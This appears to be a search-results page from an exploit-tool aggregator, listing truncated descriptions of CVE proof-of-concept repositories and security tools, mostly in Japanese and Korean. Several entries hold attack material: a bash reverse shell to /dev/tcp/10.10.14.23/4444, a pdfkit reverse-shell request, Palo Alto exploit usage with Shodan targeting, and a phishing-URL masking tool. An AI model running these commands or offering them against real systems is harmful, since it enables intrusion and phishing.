116226 matches found
CVE-2006-3747
CVE-2006-3747（Apache modrewrite の LDAP off-by-one バッファオーバーフロー）に関する、私の bugtraq への投稿と最初の動作するエクスプロイトのファイル群です。 http://www.securityfocus.com/archive/1/443870 POC/Exploit 公開日: 2006-08-20 作者: Jacobo Avariento Gimeno CVE ID: CVE-2006-3747 Bugtraq ID: 19204 CERT アドバイザリ: VU395412 深刻度: 高 CVSS v2 基本値: 7.6 HI...
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...
CVE-2023-42222
CVE-2023-42222 脆弱性の概要 WebCatalog バージョン 48.4.0 より前のバージョンでは、特定の状況下で、URL が http または https リソースであることを検証せずに Electron の shell.openExternal 関数を呼び出します。この脆弱性により、攻撃者は任意のプロトコルを含むリンクを含むメッセージを送信することで、被害者のマシン上でコードを実行できます。被害者はリンクを操作する必要があり、開かれる URL を確認します。 脆弱性スキャンの出力 PoC の概要 PoC 情報 この脆弱性は、任意の URL...
fses
fses Fucking Search Engines Scraper - 검색 엔진에서 URL을 스크래핑하는 파이썬 라이브러리 스크래핑 대상 검색 엔진 root@kitploit: Ask Bing DuckDuck GO UOL Yahoo 설치 root@kitploit: git clone https://github.com/mthbernardes/fses.git cd fses pip install -r requeriments.txt 사용법 Ask를 사용한 간단한 검색 root@kitploit: from searchEngines.ask...
CVE-2023-36025
CVE-2023-36025 CVE-2023-36025 の簡単なテスト。PoC は https://twitter.com/wdormann/status/1725148437115473947 でデモされています。 このコードはそのまま実行できるようには作られていません。ZIP ファイルは自分で管理するサーバーにホストし、file:// URL で被害者マシンからアクセスできるようにする必要があります。...
CVE-2023-22432
CVE-2023-22432 web2pyの脆弱性（CVE-2023-22432）のPoC検証 web2py の脆弱性（CVE-2023-22432）が2023年1月31日（米国時間）に公開されました。この記事では、この脆弱性に関する検討と検証結果について説明します。 脆弱性の概要 この脆弱性は、web2pyのオープンリダイレクト脆弱性であり、管理ページのURLにおいてコールバック先URLとして任意のURLを指定できます。もともとオープンリダイレクト対策は実装されていましたが、URLに特別なバイパス手法を適用することで再現されます。これにより、悪意のあるサイトに誘導される可能性があります...
CVE-2022-28117
CVE-2022-28117 Navigate CMS = 2.9.4 - サーバーサイドリクエストフォージェリ 認証済み 説明 Navigate CMS v2.9.4 の feedparser クラスにおけるサーバーサイドリクエストフォージェリ SSRF により、リモートの攻撃者が feed パラメータに任意の URL を注入して、アプリケーションに任意のリクエストを強制することが可能です。 参照 https://nvd.nist.gov/vuln/detail/CVE-2022-28117 https://www.youtube.com/watch?v=4kHW95CMfD0...
CVE-2024-3400
CVE-2024-3400 CVE-2024-3400 Palo Alto ファイル書き込みエクスプロイト このエクスプロイトはGlobal ProtectのURLインスタンスを横断的に検索し、CVE-2024-3400を使用してファイル書き込みを試みます。 注意して使用してください 教育目的のみで作成 使用方法: root@kitploit: chmod +x gp-exploit.sh ./gp-exploit.sh filenametowrite urls.txt Shodan検索とURLのフィルタリング: root@kitploit: shodan search --fields...
CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline
CVE-2026-11120 – CI/CDパイプラインにおけるGit URLを介したコマンドインジェクション プログラムコード（Python） root@kitploit: cicdbuild.py - Clones repository without sanitizing URL import subprocess, sys def cloneandbuildrepourl: Vulnerability: repourl can contain shell metacharacters cmd = f"git clone repourl /tmp/repo"...
phishurl-list
JPCERT/CC フィッシングURLデータセット 列の詳細 date: JPCERT/CC が確認した日付 URL: フィッシングサイトの完全なURL description: 偽装されたブランドに関する情報 統計ページ https://jpcertcc.github.io/phishurl-list/...
Malicious-URL-Detection-Open-Source
Malicious-URL-Detection-Open-Source 既存のオープンソースの悪性URL検出コードを収集しました。...
cve-2025-4664
CVE-2025-4664 このリポジトリには、ChromiumベースのブラウザがLinkヘッダーのプリロードリクエストを通じて機密性の高いURLパラメータを漏えいさせる脆弱性であるCVE-2025-4664を悪用するPoCが含まれています。 リソース このエクスプロイトがどのように機能するかについての詳細な説明は、ブログ記事をご覧ください: https://amalmurali.me/posts/cve-2025-4664e。 フローを理解するには、このビデオをご覧ください: ファイル target.py - 脆弱なWebアプリケーション idp.py -...
SPY-MASKER
SPY-MASKER 🔥 SPY-MASKER 피싱 URL을 정상적인 URLgoogle.com 또는 facebook.com처럼 보이게 숨기는 간단한 Python 스크립트입니다. 피싱 도구에 통합하여 URL을 합법적으로 보이게 할 수 있습니다. ⚖️ 법적 고지: 교육 목적으로만 사용하세요 사전 상호 동의 없이 SPY-MASKER를 사용하여 대상을 공격하는 것은 불법입니다. 최종 사용자는 해당 지역, 주, 연방 법률을 모두 준수할 책임이 있습니다. 개발자는 이 프로그램으로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다. 책임감...
Metabase_CVE-2021-41277
MetabaseCVE-2021-41277 説明 Metabaseはオープンソースのデータ分析プラットフォームです。影響を受けるバージョンでは、カスタムGeoJSONマップ（admin-settings-maps-custom maps-add a...
CVE-2026-3576
CVE-2026-3576 - WordPressプラグイン Planyo Online Reservation System = 3.0 - SSRFによる任意ファイル読み取り このリポジトリには、CVE-2026-3576用のPythonベースの概念実証PoCエクスプロイトが含まれています。Exploit-DBでもこちらから入手できます。 また、このエクスプロイト用のMetasploitモジュールも開発しており、こちらで確認できます。 免責事項...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
urlhunter
root@kitploit: o Utku Sen's /\o Oo |/ =- .===O- URL -O- / /U' hunter /|\ || |/ \ | utkusen.com |K || twitter.com/utkusenen urlhunter는 bit.ly 및 goo.gl과 같은 단축 서비스를 통해 노출된 URL을 검색할 수 있는 리콘 도구입니다. 이 프로젝트는 Go로 작성되었습니다. 어떻게? URLTeam이라는 그룹감사합니다이 URL 단축 서비스를 무차별 대입하고 일치하는 결과를 매일 게시합니다. urlhunter는 그들의...
CVE-2026-42897
CVE-2026-42897 - Exchange Health Checker アウトバウンド書き換えルールの盲点 深刻度: Medium CVSS 5.3 コンポーネント: Microsoft CSS-Exchange - HealthChecker 診断ツール 影響を受けるファイル: Diagnostics/HealthChecker/Analyzer/Get-URLRewriteRule.ps1 L49, L72, L97 Diagnostics/HealthChecker/Analyzer/Invoke-AnalyzerIISInformation.ps1 L442–459...
CVE-2022-35499
Trimble TM4WEB =22.2.0 において、外部請求書ビューアエンドポイントは、URL に追加された任意のパラメータへの注入により、反射型クロスサイトスクリプティングに対して脆弱です。 ステップ 1 : 以下の URL 例は、脆弱性をトリガーし、javascript alert 関数を実行して、概念実証として数字 1 を表示します。 この脆弱性は、研究者がこれまでに観察したすべての TM4WEB インストールで動作します。 存在しないサイトを使用した悪意のある URL の例:...